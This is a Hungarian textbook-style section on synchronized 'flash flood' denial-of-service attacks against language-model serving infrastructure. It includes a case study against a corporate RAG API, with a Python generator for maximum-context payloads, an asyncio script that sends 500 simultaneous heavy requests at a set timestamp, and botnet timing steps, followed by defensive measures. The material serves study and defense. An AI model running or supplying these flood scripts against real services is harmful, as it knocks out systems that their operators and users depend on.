32.3.2 Szinkronizált túlcsordulásos támadások

A támadás anatómiája: Kalapácsütés a rendszeren

Képzeld el, hogy a nyelvi modell feldolgozó egysége egy szűk kapu, amin egyszerre csak néhány kérés fér át. Normál működés mellett a kérések véletlenszerűen érkeznek, a rendszer kényelmesen kezeli őket. A szinkronizált támadás célja, hogy több száz vagy ezer, egyenként is nagy kontextusablakot igénylő kérést küldjön a rendszernek pontosan ugyanabban az időpillanatban.

Ez a „flash flood” azonnali és kritikus terhelést ró a következő komponensekre:

• Bemeneti várólista (Ingress Queue): A beérkező kéréseket tároló puffer azonnal megtelik.
• Memóriaallokáció: A rendszer megpróbálja egyszerre lefoglalni a memóriát az összes kérés kontextusablakához, ami hirtelen, masszív memóriacsúcsot okoz.
• GPU/TPU ütemező: Az ütemezőnek döntenie kell, melyik feladatot kezdje el, miközben az erőforrásokért versengő processek elárasztják.

A támadás sikere az időzítés pontosságán múlik. Nem elég sok kérést küldeni, azokat mikroszekundumos precizitással kell szinkronizálni, hogy a rendszer védelmi mechanizmusai (pl. rate limiting) ne tudjanak időben reagálni az egyes kérések között.

Esettanulmány: DoS egy vállalati RAG rendszer ellen

Vegyünk egy tipikus RAG (Retrieval-Augmented Generation) rendszert, ami egy belső tudásbázis felett nyújt keresési és összegzési képességeket. A rendszer egy API-n keresztül érhető el a vállalati hálózaton.

1. fázis: Felderítés és a „nehéz” payload azonosítása

A támadó először is megvizsgálja, milyen típusú kérések terhelik a rendszert a legjobban. Kísérletezéssel rájön, hogy a hosszú, összetett, több dokumentumra hivatkozó kérdések jelentősen megnövelik a válaszidőt. Létrehoz egy olyan payloadot, ami a maximális kontextusméretet közelíti, és komplex, egymásba ágyazott logikai struktúrákat tartalmaz, arra kényszerítve a modellt, hogy a teljes kontextust alaposan feldolgozza.

# Pszeudokód egy "nehéz" payload generálásához
def create_heavy_payload(context_size_kb):
 base_query = "Elemezd a következő fiktív jogi dokumentumokat és azonosítsd az ellentmondásokat: "
 # Generálunk egy hosszú, ismétlődő, de strukturált szöveget,
 # ami nehezen tömöríthető és maximális figyelmet igényel.
 filler_text = "A 'Kék Elefánt' projekt (ref: KE-2024) előírja, hogy minden A típusú eszközt B protokoll szerint kell kalibrálni, kivéve ha a C feltétel teljesül, mely esetben a D eljárás lép érvénybe. "
 
 # A szöveg ismétlésével töltjük fel a kontextusablakot
 repeat_count = (context_size_kb * 1024) // len(filler_text)
 heavy_context = filler_text * repeat_count
 
 return base_query + heavy_context

2. fázis: A támadó infrastruktúra felállítása

A támadó több, földrajzilag elosztott virtuális gépet (vagy egy botnetet) használ. A cél, hogy minimalizálja a hálózati késleltetést és biztosítsa, hogy a kérések valóban egyszerre érkezzenek meg. Minden csomópontra telepít egy egyszerű szkriptet, ami képes a payload elküldésére egy központi jelre.

3. fázis: A szinkronizált indítás

A támadáshoz egy központi vezérlőszerver adja ki az indítási parancsot. A kliensek nem azonnal tüzelnek, hanem egy NTP (Network Time Protocol) szerverhez szinkronizálják magukat, és egy előre meghatározott, jövőbeli időpontban (pl. `2024-10-26 15:00:00.000 UTC`) indítják a kéréseket.

# Python asyncio példa a szinkronizált kérésekhez
import asyncio
import httpx
import time

TARGET_URL = "https://api.internal-rag.company.com/query"
PAYLOAD = create_heavy_payload(128) # 128 KB-os payload
NUM_REQUESTS = 500 # 500 párhuzamos kérés
ATTACK_TIMESTAMP = 1729954800.0 # Előre meghatározott UNIX időbélyeg

async def send_request(client):
 try:
 response = await client.post(TARGET_URL, json={"query": PAYLOAD}, timeout=30)
 print(f"Válasz: {response.status_code}")
 except httpx.ReadTimeout:
 print("Időtúllépés!")
 except Exception as e:
 print(f"Hiba: {e}")

async def main():
 # Megvárjuk a pontos indítási időpontot
 current_time = time.time()
 if current_time < ATTACK_TIMESTAMP:
 await asyncio.sleep(ATTACK_TIMESTAMP - current_time)
 
 # Indítás!
 print("Támadás indítása...")
 async with httpx.AsyncClient() as client:
 tasks = [send_request(client) for _ in range(NUM_REQUESTS)]
 await asyncio.gather(*tasks)

if __name__ == "__main__":
 asyncio.run(main())

A hatásmechanizmus vizualizálva

A különbség a normál terhelés és a szinkronizált támadás között szemléletes. Míg normál esetben a rendszernek van ideje „fellélegezni” a kérések között, a támadás során a terhelési csúcs egyetlen, meredek falat képez, amire a skálázási automatika sem tud reagálni.

Védekezési stratégiák

Az ilyen típusú támadásokkal szembeni védekezés többrétegű:

• Szigorú Rate Limiting: Nem csak IP-cím, hanem felhasználói fiók vagy API kulcs alapján is, rövid időablakokra (pl. másodpercenként max. 5 kérés).
• Circuit Breaker Minta: Ha a rendszer túlterhelést észlel (pl. magas késleltetés, sok hiba), egy „áramkör-megszakító” ideiglenesen blokkolhatja az új kéréseket, hogy a rendszer helyreállhasson.
• Aszinkron feldolgozás várólistával: A beérkező kérések egy várólistába (pl. RabbitMQ, Kafka) kerülnek, és a feldolgozó workerek onnan veszik ki őket a saját tempójukban. Ez elnyeli a hirtelen terhelési csúcsokat.
• Kérés komplexitásának elemzése: A rendszert fel lehet készíteni arra, hogy a bemeneti promptok komplexitását előre megbecsülje, és a túlságosan „drága” kéréseket alacsonyabb prioritással kezelje vagy akár el is dobja terhelés alatt.
• Jitter bevezetése: Olyan rendszereknél, ahol a kliensek viselkedése kontrollálható, egy véletlenszerű késleltetés (jitter) bevezetése a kérések indítása előtt megakadályozhatja a tökéletes szinkronizációt.

A szinkronizált túlcsordulásos támadás egyértelműen demonstrálja, hogy a nyelvi modellek elleni támadások nem korlátozódnak a prompt injekcióra. Az alapul szolgáló infrastruktúra sebezhetőségeinek kihasználása ugyanolyan hatékony – ha nem hatékonyabb – lehet a szolgáltatás megbénítására vagy rejtett információk kinyerésére.